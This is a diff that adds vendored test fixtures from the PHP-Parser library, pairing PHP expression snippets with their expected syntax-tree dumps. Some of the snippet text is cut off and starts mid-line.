'Unknown scalar type "foo"'), + array('x', '"x" is not a valid int'), + array('x', '"x" is not a valid float'), + array('', 'Expected node or scalar'), + array('test', 'Unexpected node of type "foo:bar"'), + array( + 'test', + 'Expected sub node or attribute, got node of type "foo:bar"' + ), + array( + '', + 'Expected node or scalar' + ), + array( + '', + 'Unknown node type "Foo"' + ), + ); + } +} diff --git a/vendor/nikic/php-parser/test/bootstrap.php b/vendor/nikic/php-parser/test/bootstrap.php new file mode 100644 index 00000000..9526b648 --- /dev/null +++ b/vendor/nikic/php-parser/test/bootstrap.php @@ -0,0 +1,20 @@ + +----- +array( + 0: Stmt_Nop( + comments: array( + 0: /** doc */ + 1: /* foobar */ + 2: // foo + 3: // bar + ) + ) +) +----- + 'd', 'e' => &$f); + +// short array syntax +[]; +[1, 2, 3]; +['a' => 'b']; +----- +array( + 0: Expr_Array( + items: array( + ) + ) + 1: Expr_Array( + items: array( + 0: Expr_ArrayItem( + key: null + value: Scalar_String( + value: a + ) + byRef: false + ) + ) + ) + 2: Expr_Array( + items: array( + 0: Expr_ArrayItem( + key: null + value: Scalar_String( + value: a + ) + byRef: false + ) + ) + ) + 3: Expr_Array( + items: array( + 0: Expr_ArrayItem( + key: null + value: Scalar_String( + value: a + ) + byRef: false + ) + 1: Expr_ArrayItem( + key: null + value: Scalar_String( + value: b + ) + byRef: false + ) + ) + ) + 4: Expr_Array( + items: array( + 0: Expr_ArrayItem( + key: null + value: Scalar_String( + value: a + ) + byRef: false + ) + 1: Expr_ArrayItem( + key: null + value: Expr_Variable( + name: b + ) + byRef: true + ) + 2: Expr_ArrayItem( + key: Scalar_String( + value: c + ) + value: Scalar_String( + value: d + ) + byRef: false + ) + 3: Expr_ArrayItem( + key: Scalar_String( + value: e + ) + value: Expr_Variable( + name: f + ) + byRef: true + ) + ) + ) + 5: Expr_Array( + items: array( + ) + comments: array( + 0: // short array syntax + ) + ) + 6: Expr_Array( + items: array( + 0: Expr_ArrayItem( + key: null + value: Scalar_LNumber( + value: 1 + ) + byRef: false + ) + 1: Expr_ArrayItem( + key: null + value: Scalar_LNumber( + value: 2 + ) + byRef: false + ) + 2: Expr_ArrayItem( + key: null + value: Scalar_LNumber( + value: 3 + ) + byRef: false + ) + ) + ) + 7: Expr_Array( + items: array( + 0: Expr_ArrayItem( + key: Scalar_String( + value: a + ) + value: Scalar_String( + value: b + ) + byRef: false + ) + ) + ) +) \ No newline at end of file diff --git a/vendor/nikic/php-parser/test/code/parser/expr/assign.test b/vendor/nikic/php-parser/test/code/parser/expr/assign.test new file mode 100644 index 00000000..d55e2d86 --- /dev/null +++ b/vendor/nikic/php-parser/test/code/parser/expr/assign.test @@ -0,0 +1,273 @@ +Assignments +----- +>= $b; +$a **= $b; + +// chained assign +$a = $b *= $c **= $d; + +// by ref assign +$a =& $b; + +// list() assign +list($a) = $b; +list($a, , $b) = $c; +list($a, list(, $c), $d) = $e; + +// inc/dec +++$a; +$a++; +--$a; +$a--; +----- +array( + 0: Expr_Assign( + var: Expr_Variable( + name: a + comments: array( + 0: // simple assign + ) + ) + expr: Expr_Variable( + name: b + ) + comments: array( + 0: // simple assign + ) + ) + 1: Expr_AssignOp_BitwiseAnd( + var: Expr_Variable( + name: a + comments: array( + 0: // combined assign + ) + ) + expr: Expr_Variable( + name: b + ) + comments: array( + 0: // combined assign + ) + ) + 2: Expr_AssignOp_BitwiseOr( + var: Expr_Variable( + name: a + ) + expr: Expr_Variable( + name: b + ) + ) + 3: Expr_AssignOp_BitwiseXor( + var: Expr_Variable( + name: a + ) + expr: Expr_Variable( + name: b + ) + ) + 4: Expr_AssignOp_Concat( + var: Expr_Variable( + name: a + ) + expr: Expr_Variable( + name: b + ) + ) + 5: Expr_AssignOp_Div( + var: Expr_Variable( + name: a + ) + expr: Expr_Variable( + name: b + ) + ) + 6: Expr_AssignOp_Minus( + var: Expr_Variable( + name: a + ) + expr: Expr_Variable( + name: b + ) + ) + 7: Expr_AssignOp_Mod( + var: Expr_Variable( + name: a + ) + expr: Expr_Variable( + name: b + ) + ) + 8: Expr_AssignOp_Mul( + var: Expr_Variable( + name: a + ) + expr: Expr_Variable( + name: b + ) + ) + 9: Expr_AssignOp_Plus( + var: Expr_Variable( + name: a + ) + expr: Expr_Variable( + name: b + ) + ) + 10: Expr_AssignOp_ShiftLeft( + var: Expr_Variable( + name: a + ) + expr: Expr_Variable( + name: b + ) + ) + 11: Expr_AssignOp_ShiftRight( + var: Expr_Variable( + name: a + ) + expr: Expr_Variable( + name: b + ) + ) + 12: Expr_AssignOp_Pow( + var: Expr_Variable( + name: a + ) + expr: Expr_Variable( + name: b + ) + ) + 13: Expr_Assign( + var: Expr_Variable( + name: a + comments: array( + 0: // chained assign + ) + ) + expr: Expr_AssignOp_Mul( + var: Expr_Variable( + name: b + ) + expr: Expr_AssignOp_Pow( + var: Expr_Variable( + name: c + ) + expr: Expr_Variable( + name: d + ) + ) + ) + comments: array( + 0: // chained assign + ) + ) + 14: Expr_AssignRef( + var: Expr_Variable( + name: a + comments: array( + 0: // by ref assign + ) + ) + expr: Expr_Variable( + name: b + ) + comments: array( + 0: // by ref assign + ) + ) + 15: Expr_Assign( + var: Expr_List( + vars: array( + 0: Expr_Variable( + name: a + ) + ) + comments: array( + 0: // list() assign + ) + ) + expr: Expr_Variable( + name: b + ) + comments: array( + 0: // list() assign + ) + ) + 16: Expr_Assign( + var: Expr_List( + vars: array( + 0: Expr_Variable( + name: a + ) + 1: null + 2: Expr_Variable( + name: b + ) + ) + ) + expr: Expr_Variable( + name: c + ) + ) + 17: Expr_Assign( + var: Expr_List( + vars: array( + 0: Expr_Variable( + name: a + ) + 1: Expr_List( + vars: array( + 0: null + 1: Expr_Variable( + name: c + ) + ) + ) + 2: Expr_Variable( + name: d + ) + ) + ) + expr: Expr_Variable( + name: e + ) + ) + 18: Expr_PreInc( + var: Expr_Variable( + name: a + ) + comments: array( + 0: // inc/dec + ) + ) + 19: Expr_PostInc( + var: Expr_Variable( + name: a + ) + ) + 20: Expr_PreDec( + var: Expr_Variable( + name: a + ) + ) + 21: Expr_PostDec( + var: Expr_Variable( + name: a + ) + ) +) \ No newline at end of file diff --git a/vendor/nikic/php-parser/test/code/parser/expr/assignNewByRef.test b/vendor/nikic/php-parser/test/code/parser/expr/assignNewByRef.test new file mode 100644 index 00000000..10e1317f --- /dev/null +++ b/vendor/nikic/php-parser/test/code/parser/expr/assignNewByRef.test @@ -0,0 +1,39 @@ +Assigning new by reference (PHP 5 only) +----- + $b; +$a >= $b; +$a == $b; +$a === $b; +$a != $b; +$a !== $b; +$a <=> $b; +$a instanceof B; +$a instanceof $b; +----- +array( + 0: Expr_BinaryOp_Smaller( + left: Expr_Variable( + name: a + ) + right: Expr_Variable( + name: b + ) + ) + 1: Expr_BinaryOp_SmallerOrEqual( + left: Expr_Variable( + name: a + ) + right: Expr_Variable( + name: b + ) + ) + 2: Expr_BinaryOp_Greater( + left: Expr_Variable( + name: a + ) + right: Expr_Variable( + name: b + ) + ) + 3: Expr_BinaryOp_GreaterOrEqual( + left: Expr_Variable( + name: a + ) + right: Expr_Variable( + name: b + ) + ) + 4: Expr_BinaryOp_Equal( + left: Expr_Variable( + name: a + ) + right: Expr_Variable( + name: b + ) + ) + 5: Expr_BinaryOp_Identical( + left: Expr_Variable( + name: a + ) + right: Expr_Variable( + name: b + ) + ) + 6: Expr_BinaryOp_NotEqual( + left: Expr_Variable( + name: a + ) + right: Expr_Variable( + name: b + ) + ) + 7: Expr_BinaryOp_NotIdentical( + left: Expr_Variable( + name: a + ) + right: Expr_Variable( + name: b + ) + ) + 8: Expr_BinaryOp_Spaceship( + left: Expr_Variable( + name: a + ) + right: Expr_Variable( + name: b + ) + ) + 9: Expr_Instanceof( + expr: Expr_Variable( + name: a + ) + class: Name( + parts: array( + 0: B + ) + ) + ) + 10: Expr_Instanceof( + expr: Expr_Variable( + name: a + ) + class: Expr_Variable( + name: b + ) + ) +) diff --git a/vendor/nikic/php-parser/test/code/parser/expr/constant_expr.test b/vendor/nikic/php-parser/test/code/parser/expr/constant_expr.test new file mode 100644 index 00000000..3e7a23ef --- /dev/null +++ b/vendor/nikic/php-parser/test/code/parser/expr/constant_expr.test @@ -0,0 +1,621 @@ +Expressions in static scalar context +----- + 0; +const T_20 = 1 >= 0; +const T_21 = 1 === 1; +const T_22 = 1 !== 1; +const T_23 = 0 != "0"; +const T_24 = 1 == "1"; +const T_25 = 1 + 2 * 3; +const T_26 = "1" + 2 + "3"; +const T_27 = 2 ** 3; +const T_28 = [1, 2, 3][1]; +const T_29 = 12 - 13; +const T_30 = 12 ^ 13; +const T_31 = 12 & 13; +const T_32 = 12 | 13; +const T_33 = 12 % 3; +const T_34 = 100 >> 4; +const T_35 = !false; +----- +array( + 0: Stmt_Const( + consts: array( + 0: Const( + name: T_1 + value: Expr_BinaryOp_ShiftLeft( + left: Scalar_LNumber( + value: 1 + ) + right: Scalar_LNumber( + value: 1 + ) + ) + ) + ) + ) + 1: Stmt_Const( + consts: array( + 0: Const( + name: T_2 + value: Expr_BinaryOp_Div( + left: Scalar_LNumber( + value: 1 + ) + right: Scalar_LNumber( + value: 2 + ) + ) + ) + ) + ) + 2: Stmt_Const( + consts: array( + 0: Const( + name: T_3 + value: Expr_BinaryOp_Plus( + left: Scalar_DNumber( + value: 1.5 + ) + right: Scalar_DNumber( + value: 1.5 + ) + ) + ) + ) + ) + 3: Stmt_Const( + consts: array( + 0: Const( + name: T_4 + value: Expr_BinaryOp_Concat( + left: Scalar_String( + value: foo + ) + right: Scalar_String( + value: bar + ) + ) + ) + ) + ) + 4: Stmt_Const( + consts: array( + 0: Const( + name: T_5 + value: Expr_BinaryOp_Mul( + left: Expr_BinaryOp_Plus( + left: Scalar_DNumber( + value: 1.5 + ) + right: Scalar_DNumber( + value: 1.5 + ) + ) + right: Scalar_LNumber( + value: 2 + ) + ) + ) + ) + ) + 5: Stmt_Const( + consts: array( + 0: Const( + name: T_6 + value: Expr_BinaryOp_Concat( + left: Expr_BinaryOp_Concat( + left: Expr_BinaryOp_Concat( + left: Scalar_String( + value: foo + ) + right: Scalar_LNumber( + value: 2 + ) + ) + right: Scalar_LNumber( + value: 3 + ) + ) + right: Scalar_DNumber( + value: 4 + ) + ) + ) + ) + ) + 6: Stmt_Const( + consts: array( + 0: Const( + name: T_7 + value: Scalar_MagicConst_Line( + ) + ) + ) + ) + 7: Stmt_Const( + consts: array( + 0: Const( + name: T_8 + value: Scalar_String( + value: This is a test string + ) + ) + ) + ) + 8: Stmt_Const( + consts: array( + 0: Const( + name: T_9 + value: Expr_BitwiseNot( + expr: Expr_UnaryMinus( + expr: Scalar_LNumber( + value: 1 + ) + ) + ) + ) + ) + ) + 9: Stmt_Const( + consts: array( + 0: Const( + name: T_10 + value: Expr_BinaryOp_Plus( + left: Expr_Ternary( + cond: Expr_UnaryMinus( + expr: Scalar_LNumber( + value: 1 + ) + ) + if: null + else: Scalar_LNumber( + value: 1 + ) + ) + right: Expr_Ternary( + cond: Scalar_LNumber( + value: 0 + ) + if: Scalar_LNumber( + value: 2 + ) + else: Scalar_LNumber( + value: 3 + ) + ) + ) + ) + ) + ) + 10: Stmt_Const( + consts: array( + 0: Const( + name: T_11 + value: Expr_BinaryOp_BooleanAnd( + left: Scalar_LNumber( + value: 1 + ) + right: Scalar_LNumber( + value: 0 + ) + ) + ) + ) + ) + 11: Stmt_Const( + consts: array( + 0: Const( + name: T_12 + value: Expr_BinaryOp_LogicalAnd( + left: Scalar_LNumber( + value: 1 + ) + right: Scalar_LNumber( + value: 1 + ) + ) + ) + ) + ) + 12: Stmt_Const( + consts: array( + 0: Const( + name: T_13 + value: Expr_BinaryOp_BooleanOr( + left: Scalar_LNumber( + value: 0 + ) + right: Scalar_LNumber( + value: 0 + ) + ) + ) + ) + ) + 13: Stmt_Const( + consts: array( + 0: Const( + name: T_14 + value: Expr_BinaryOp_LogicalOr( + left: Scalar_LNumber( + value: 1 + ) + right: Scalar_LNumber( + value: 0 + ) + ) + ) + ) + ) + 14: Stmt_Const( + consts: array( + 0: Const( + name: T_15 + value: Expr_BinaryOp_LogicalXor( + left: Scalar_LNumber( + value: 1 + ) + right: Scalar_LNumber( + value: 1 + ) + ) + ) + ) + ) + 15: Stmt_Const( + consts: array( + 0: Const( + name: T_16 + value: Expr_BinaryOp_LogicalXor( + left: Scalar_LNumber( + value: 1 + ) + right: Scalar_LNumber( + value: 0 + ) + ) + ) + ) + ) + 16: Stmt_Const( + consts: array( + 0: Const( + name: T_17 + value: Expr_BinaryOp_Smaller( + left: Scalar_LNumber( + value: 1 + ) + right: Scalar_LNumber( + value: 0 + ) + ) + ) + ) + ) + 17: Stmt_Const( + consts: array( + 0: Const( + name: T_18 + value: Expr_BinaryOp_SmallerOrEqual( + left: Scalar_LNumber( + value: 0 + ) + right: Scalar_LNumber( + value: 0 + ) + ) + ) + ) + ) + 18: Stmt_Const( + consts: array( + 0: Const( + name: T_19 + value: Expr_BinaryOp_Greater( + left: Scalar_LNumber( + value: 1 + ) + right: Scalar_LNumber( + value: 0 + ) + ) + ) + ) + ) + 19: Stmt_Const( + consts: array( + 0: Const( + name: T_20 + value: Expr_BinaryOp_GreaterOrEqual( + left: Scalar_LNumber( + value: 1 + ) + right: Scalar_LNumber( + value: 0 + ) + ) + ) + ) + ) + 20: Stmt_Const( + consts: array( + 0: Const( + name: T_21 + value: Expr_BinaryOp_Identical( + left: Scalar_LNumber( + value: 1 + ) + right: Scalar_LNumber( + value: 1 + ) + ) + ) + ) + ) + 21: Stmt_Const( + consts: array( + 0: Const( + name: T_22 + value: Expr_BinaryOp_NotIdentical( + left: Scalar_LNumber( + value: 1 + ) + right: Scalar_LNumber( + value: 1 + ) + ) + ) + ) + ) + 22: Stmt_Const( + consts: array( + 0: Const( + name: T_23 + value: Expr_BinaryOp_NotEqual( + left: Scalar_LNumber( + value: 0 + ) + right: Scalar_String( + value: 0 + ) + ) + ) + ) + ) + 23: Stmt_Const( + consts: array( + 0: Const( + name: T_24 + value: Expr_BinaryOp_Equal( + left: Scalar_LNumber( + value: 1 + ) + right: Scalar_String( + value: 1 + ) + ) + ) + ) + ) + 24: Stmt_Const( + consts: array( + 0: Const( + name: T_25 + value: Expr_BinaryOp_Plus( + left: Scalar_LNumber( + value: 1 + ) + right: Expr_BinaryOp_Mul( + left: Scalar_LNumber( + value: 2 + ) + right: Scalar_LNumber( + value: 3 + ) + ) + ) + ) + ) + ) + 25: Stmt_Const( + consts: array( + 0: Const( + name: T_26 + value: Expr_BinaryOp_Plus( + left: Expr_BinaryOp_Plus( + left: Scalar_String( + value: 1 + ) + right: Scalar_LNumber( + value: 2 + ) + ) + right: Scalar_String( + value: 3 + ) + ) + ) + ) + ) + 26: Stmt_Const( + consts: array( + 0: Const( + name: T_27 + value: Expr_BinaryOp_Pow( + left: Scalar_LNumber( + value: 2 + ) + right: Scalar_LNumber( + value: 3 + ) + ) + ) + ) + ) + 27: Stmt_Const( + consts: array( + 0: Const( + name: T_28 + value: Expr_ArrayDimFetch( + var: Expr_Array( + items: array( + 0: Expr_ArrayItem( + key: null + value: Scalar_LNumber( + value: 1 + ) + byRef: false + ) + 1: Expr_ArrayItem( + key: null + value: Scalar_LNumber( + value: 2 + ) + byRef: false + ) + 2: Expr_ArrayItem( + key: null + value: Scalar_LNumber( + value: 3 + ) + byRef: false + ) + ) + ) + dim: Scalar_LNumber( + value: 1 + ) + ) + ) + ) + ) + 28: Stmt_Const( + consts: array( + 0: Const( + name: T_29 + value: Expr_BinaryOp_Minus( + left: Scalar_LNumber( + value: 12 + ) + right: Scalar_LNumber( + value: 13 + ) + ) + ) + ) + ) + 29: Stmt_Const( + consts: array( + 0: Const( + name: T_30 + value: Expr_BinaryOp_BitwiseXor( + left: Scalar_LNumber( + value: 12 + ) + right: Scalar_LNumber( + value: 13 + ) + ) + ) + ) + ) + 30: Stmt_Const( + consts: array( + 0: Const( + name: T_31 + value: Expr_BinaryOp_BitwiseAnd( + left: Scalar_LNumber( + value: 12 + ) + right: Scalar_LNumber( + value: 13 + ) + ) + ) + ) + ) + 31: Stmt_Const( + consts: array( + 0: Const( + name: T_32 + value: Expr_BinaryOp_BitwiseOr( + left: Scalar_LNumber( + value: 12 + ) + right: Scalar_LNumber( + value: 13 + ) + ) + ) + ) + ) + 32: Stmt_Const( + consts: array( + 0: Const( + name: T_33 + value: Expr_BinaryOp_Mod( + left: Scalar_LNumber( + value: 12 + ) + right: Scalar_LNumber( + value: 3 + ) + ) + ) + ) + ) + 33: Stmt_Const( + consts: array( + 0: Const( + name: T_34 + value: Expr_BinaryOp_ShiftRight( + left: Scalar_LNumber( + value: 100 + ) + right: Scalar_LNumber( + value: 4 + ) + ) + ) + ) + ) + 34: Stmt_Const( + consts: array( + 0: Const( + name: T_35 + value: Expr_BooleanNot( + expr: Expr_ConstFetch( + name: Name( + parts: array( + 0: false + ) + ) + ) + ) + ) + ) + ) +) \ No newline at end of file diff --git a/vendor/nikic/php-parser/test/code/parser/expr/errorSuppress.test b/vendor/nikic/php-parser/test/code/parser/expr/errorSuppress.test new file mode 100644 index 00000000..ce3fce96 --- /dev/null +++ b/vendor/nikic/php-parser/test/code/parser/expr/errorSuppress.test @@ -0,0 +1,12 @@ +Error suppression +----- +b['c'](); + +// array dereferencing +a()['b']; +----- +array( + 0: Expr_FuncCall( + name: Name( + parts: array( + 0: a + ) + comments: array( + 0: // function name variations + ) + ) + args: array( + ) + comments: array( + 0: // function name variations + ) + ) + 1: Expr_FuncCall( + name: Expr_Variable( + name: a + ) + args: array( + ) + ) + 2: Expr_FuncCall( + name: Expr_Variable( + name: Scalar_String( + value: a + ) + ) + args: array( + ) + ) + 3: Expr_FuncCall( + name: Expr_Variable( + name: Expr_Variable( + name: a + ) + ) + args: array( + ) + ) + 4: Expr_FuncCall( + name: Expr_Variable( + name: Expr_Variable( + name: Expr_Variable( + name: a + ) + ) + ) + args: array( + ) + ) + 5: Expr_FuncCall( + name: Expr_ArrayDimFetch( + var: Expr_Variable( + name: a + ) + dim: Scalar_String( + value: b + ) + ) + args: array( + ) + ) + 6: Expr_FuncCall( + name: Expr_ArrayDimFetch( + var: Expr_Variable( + name: a + ) + dim: Scalar_String( + value: b + ) + ) + args: array( + ) + ) + 7: Expr_FuncCall( + name: Expr_ArrayDimFetch( + var: Expr_PropertyFetch( + var: Expr_Variable( + name: a + ) + name: b + ) + dim: Scalar_String( + value: c + ) + ) + args: array( + ) + ) + 8: Expr_ArrayDimFetch( + var: Expr_FuncCall( + name: Name( + parts: array( + 0: a + ) + comments: array( + 0: // array dereferencing + ) + ) + args: array( + ) + comments: array( + 0: // array dereferencing + ) + ) + dim: Scalar_String( + value: b + ) + comments: array( + 0: // array dereferencing + ) + ) +) \ No newline at end of file diff --git a/vendor/nikic/php-parser/test/code/parser/expr/fetchAndCall/newDeref.test b/vendor/nikic/php-parser/test/code/parser/expr/fetchAndCall/newDeref.test new file mode 100644 index 00000000..5e36ff81 --- /dev/null +++ b/vendor/nikic/php-parser/test/code/parser/expr/fetchAndCall/newDeref.test @@ -0,0 +1,70 @@ +New expression dereferencing +----- +b; +(new A)->b(); +(new A)['b']; +(new A)['b']['c']; +----- +array( + 0: Expr_PropertyFetch( + var: Expr_New( + class: Name( + parts: array( + 0: A + ) + ) + args: array( + ) + ) + name: b + ) + 1: Expr_MethodCall( + var: Expr_New( + class: Name( + parts: array( + 0: A + ) + ) + args: array( + ) + ) + name: b + args: array( + ) + ) + 2: Expr_ArrayDimFetch( + var: Expr_New( + class: Name( + parts: array( + 0: A + ) + ) + args: array( + ) + ) + dim: Scalar_String( + value: b + ) + ) + 3: Expr_ArrayDimFetch( + var: Expr_ArrayDimFetch( + var: Expr_New( + class: Name( + parts: array( + 0: A + ) + ) + args: array( + ) + ) + dim: Scalar_String( + value: b + ) + ) + dim: Scalar_String( + value: c + ) + ) +) \ No newline at end of file diff --git a/vendor/nikic/php-parser/test/code/parser/expr/fetchAndCall/objectAccess.test b/vendor/nikic/php-parser/test/code/parser/expr/fetchAndCall/objectAccess.test new file mode 100644 index 00000000..584461bd --- /dev/null +++ b/vendor/nikic/php-parser/test/code/parser/expr/fetchAndCall/objectAccess.test @@ -0,0 +1,145 @@ +Object access +----- +b; +$a->b['c']; +$a->b{'c'}; + +// method call variations +$a->b(); +$a->{'b'}(); +$a->$b(); +$a->$b['c'](); + +// array dereferencing +$a->b()['c']; +$a->b(){'c'}; // invalid PHP: drop Support? +----- +!!php5 +array( + 0: Expr_PropertyFetch( + var: Expr_Variable( + name: a + comments: array( + 0: // property fetch variations + ) + ) + name: b + comments: array( + 0: // property fetch variations + ) + ) + 1: Expr_ArrayDimFetch( + var: Expr_PropertyFetch( + var: Expr_Variable( + name: a + ) + name: b + ) + dim: Scalar_String( + value: c + ) + ) + 2: Expr_ArrayDimFetch( + var: Expr_PropertyFetch( + var: Expr_Variable( + name: a + ) + name: b + ) + dim: Scalar_String( + value: c + ) + ) + 3: Expr_MethodCall( + var: Expr_Variable( + name: a + comments: array( + 0: // method call variations + ) + ) + name: b + args: array( + ) + comments: array( + 0: // method call variations + ) + ) + 4: Expr_MethodCall( + var: Expr_Variable( + name: a + ) + name: Scalar_String( + value: b + ) + args: array( + ) + ) + 5: Expr_MethodCall( + var: Expr_Variable( + name: a + ) + name: Expr_Variable( + name: b + ) + args: array( + ) + ) + 6: Expr_MethodCall( + var: Expr_Variable( + name: a + ) + name: Expr_ArrayDimFetch( + var: Expr_Variable( + name: b + ) + dim: Scalar_String( + value: c + ) + ) + args: array( + ) + ) + 7: Expr_ArrayDimFetch( + var: Expr_MethodCall( + var: Expr_Variable( + name: a + comments: array( + 0: // array dereferencing + ) + ) + name: b + args: array( + ) + comments: array( + 0: // array dereferencing + ) + ) + dim: Scalar_String( + value: c + ) + comments: array( + 0: // array dereferencing + ) + ) + 8: Expr_ArrayDimFetch( + var: Expr_MethodCall( + var: Expr_Variable( + name: a + ) + name: b + args: array( + ) + ) + dim: Scalar_String( + value: c + ) + ) + 9: Stmt_Nop( + comments: array( + 0: // invalid PHP: drop Support? + ) + ) +) \ No newline at end of file diff --git a/vendor/nikic/php-parser/test/code/parser/expr/fetchAndCall/simpleArrayAccess.test b/vendor/nikic/php-parser/test/code/parser/expr/fetchAndCall/simpleArrayAccess.test new file mode 100644 index 00000000..ea3f9ef4 --- /dev/null +++ b/vendor/nikic/php-parser/test/code/parser/expr/fetchAndCall/simpleArrayAccess.test @@ -0,0 +1,62 @@ +Simple array access +----- +> $b; +$a ** $b; + +// associativity +$a * $b * $c; +$a * ($b * $c); + +// precedence +$a + $b * $c; +($a + $b) * $c; + +// pow is special +$a ** $b ** $c; +($a ** $b) ** $c; +----- +array( + 0: Expr_BitwiseNot( + expr: Expr_Variable( + name: a + ) + comments: array( + 0: // unary ops + ) + ) + 1: Expr_UnaryPlus( + expr: Expr_Variable( + name: a + ) + ) + 2: Expr_UnaryMinus( + expr: Expr_Variable( + name: a + ) + ) + 3: Expr_BinaryOp_BitwiseAnd( + left: Expr_Variable( + name: a + comments: array( + 0: // binary ops + ) + ) + right: Expr_Variable( + name: b + ) + comments: array( + 0: // binary ops + ) + ) + 4: Expr_BinaryOp_BitwiseOr( + left: Expr_Variable( + name: a + ) + right: Expr_Variable( + name: b + ) + ) + 5: Expr_BinaryOp_BitwiseXor( + left: Expr_Variable( + name: a + ) + right: Expr_Variable( + name: b + ) + ) + 6: Expr_BinaryOp_Concat( + left: Expr_Variable( + name: a + ) + right: Expr_Variable( + name: b + ) + ) + 7: Expr_BinaryOp_Div( + left: Expr_Variable( + name: a + ) + right: Expr_Variable( + name: b + ) + ) + 8: Expr_BinaryOp_Minus( + left: Expr_Variable( + name: a + ) + right: Expr_Variable( + name: b + ) + ) + 9: Expr_BinaryOp_Mod( + left: Expr_Variable( + name: a + ) + right: Expr_Variable( + name: b + ) + ) + 10: Expr_BinaryOp_Mul( + left: Expr_Variable( + name: a + ) + right: Expr_Variable( + name: b + ) + ) + 11: Expr_BinaryOp_Plus( + left: Expr_Variable( + name: a + ) + right: Expr_Variable( + name: b + ) + ) + 12: Expr_BinaryOp_ShiftLeft( + left: Expr_Variable( + name: a + ) + right: Expr_Variable( + name: b + ) + ) + 13: Expr_BinaryOp_ShiftRight( + left: Expr_Variable( + name: a + ) + right: Expr_Variable( + name: b + ) + ) + 14: Expr_BinaryOp_Pow( + left: Expr_Variable( + name: a + ) + right: Expr_Variable( + name: b + ) + ) + 15: Expr_BinaryOp_Mul( + left: Expr_BinaryOp_Mul( + left: Expr_Variable( + name: a + comments: array( + 0: // associativity + ) + ) + right: Expr_Variable( + name: b + ) + comments: array( + 0: // associativity + ) + ) + right: Expr_Variable( + name: c + ) + comments: array( + 0: // associativity + ) + ) + 16: Expr_BinaryOp_Mul( + left: Expr_Variable( + name: a + ) + right: Expr_BinaryOp_Mul( + left: Expr_Variable( + name: b + ) + right: Expr_Variable( + name: c + ) + ) + ) + 17: Expr_BinaryOp_Plus( + left: Expr_Variable( + name: a + comments: array( + 0: // precedence + ) + ) + right: Expr_BinaryOp_Mul( + left: Expr_Variable( + name: b + ) + right: Expr_Variable( + name: c + ) + ) + comments: array( + 0: // precedence + ) + ) + 18: Expr_BinaryOp_Mul( + left: Expr_BinaryOp_Plus( + left: Expr_Variable( + name: a + ) + right: Expr_Variable( + name: b + ) + ) + right: Expr_Variable( + name: c + ) + ) + 19: Expr_BinaryOp_Pow( + left: Expr_Variable( + name: a + comments: array( + 0: // pow is special + ) + ) + right: Expr_BinaryOp_Pow( + left: Expr_Variable( + name: b + ) + right: Expr_Variable( + name: c + ) + ) + comments: array( + 0: // pow is special + ) + ) + 20: Expr_BinaryOp_Pow( + left: Expr_BinaryOp_Pow( + left: Expr_Variable( + name: a + ) + right: Expr_Variable( + name: b + ) + ) + right: Expr_Variable( + name: c + ) + ) +) \ No newline at end of file diff --git a/vendor/nikic/php-parser/test/code/parser/expr/new.test b/vendor/nikic/php-parser/test/code/parser/expr/new.test new file mode 100644 index 00000000..a132bbb4 --- /dev/null +++ b/vendor/nikic/php-parser/test/code/parser/expr/new.test @@ -0,0 +1,146 @@ +New +----- +b(); +new $a->b->c(); +new $a->b['c'](); +new $a->b{'c'}(); + +// test regression introduces by new dereferencing syntax +(new A); +----- +array( + 0: Expr_New( + class: Name( + parts: array( + 0: A + ) + ) + args: array( + ) + ) + 1: Expr_New( + class: Name( + parts: array( + 0: A + ) + ) + args: array( + 0: Arg( + value: Expr_Variable( + name: b + ) + byRef: false + unpack: false + ) + ) + ) + 2: Expr_New( + class: Expr_Variable( + name: a + ) + args: array( + ) + comments: array( + 0: // class name variations + ) + ) + 3: Expr_New( + class: Expr_ArrayDimFetch( + var: Expr_Variable( + name: a + ) + dim: Scalar_String( + value: b + ) + ) + args: array( + ) + ) + 4: Expr_New( + class: Expr_StaticPropertyFetch( + class: Name( + parts: array( + 0: A + ) + ) + name: b + ) + args: array( + ) + ) + 5: Expr_New( + class: Expr_PropertyFetch( + var: Expr_Variable( + name: a + ) + name: b + ) + args: array( + ) + comments: array( + 0: // DNCR object access + ) + ) + 6: Expr_New( + class: Expr_PropertyFetch( + var: Expr_PropertyFetch( + var: Expr_Variable( + name: a + ) + name: b + ) + name: c + ) + args: array( + ) + ) + 7: Expr_New( + class: Expr_ArrayDimFetch( + var: Expr_PropertyFetch( + var: Expr_Variable( + name: a + ) + name: b + ) + dim: Scalar_String( + value: c + ) + ) + args: array( + ) + ) + 8: Expr_New( + class: Expr_ArrayDimFetch( + var: Expr_PropertyFetch( + var: Expr_Variable( + name: a + ) + name: b + ) + dim: Scalar_String( + value: c + ) + ) + args: array( + ) + ) + 9: Expr_New( + class: Name( + parts: array( + 0: A + ) + ) + args: array( + ) + ) +) \ No newline at end of file diff --git a/vendor/nikic/php-parser/test/code/parser/expr/newWithoutClass.test b/vendor/nikic/php-parser/test/code/parser/expr/newWithoutClass.test new file mode 100644 index 00000000..84ec7b17 --- /dev/null +++ b/vendor/nikic/php-parser/test/code/parser/expr/newWithoutClass.test @@ -0,0 +1,8 @@ +New without a class +----- +bar; +----- +!!php7 +Syntax error, unexpected T_OBJECT_OPERATOR, expecting ',' or ';' from 2:13 to 2:14 +array( + 0: Expr_ConstFetch( + name: Name( + parts: array( + 0: bar + ) + ) + ) +) diff --git a/vendor/nikic/php-parser/test/code/parser/expr/uvs/indirectCall.test b/vendor/nikic/php-parser/test/code/parser/expr/uvs/indirectCall.test new file mode 100644 index 00000000..bb3e7fbe --- /dev/null +++ b/vendor/nikic/php-parser/test/code/parser/expr/uvs/indirectCall.test @@ -0,0 +1,481 @@ +UVS indirect calls +----- + 'b']->a); +isset("str"->a); +----- +!!php7 +array( + 0: Expr_Isset( + vars: array( + 0: Expr_ArrayDimFetch( + var: Expr_BinaryOp_Plus( + left: Expr_Array( + items: array( + 0: Expr_ArrayItem( + key: null + value: Scalar_LNumber( + value: 0 + ) + byRef: false + ) + 1: Expr_ArrayItem( + key: null + value: Scalar_LNumber( + value: 1 + ) + byRef: false + ) + ) + ) + right: Expr_Array( + items: array( + ) + ) + ) + dim: Scalar_LNumber( + value: 0 + ) + ) + ) + ) + 1: Expr_Isset( + vars: array( + 0: Expr_PropertyFetch( + var: Expr_Array( + items: array( + 0: Expr_ArrayItem( + key: Scalar_String( + value: a + ) + value: Scalar_String( + value: b + ) + byRef: false + ) + ) + ) + name: a + ) + ) + ) + 2: Expr_Isset( + vars: array( + 0: Expr_PropertyFetch( + var: Scalar_String( + value: str + ) + name: a + ) + ) + ) +) diff --git a/vendor/nikic/php-parser/test/code/parser/expr/uvs/misc.test 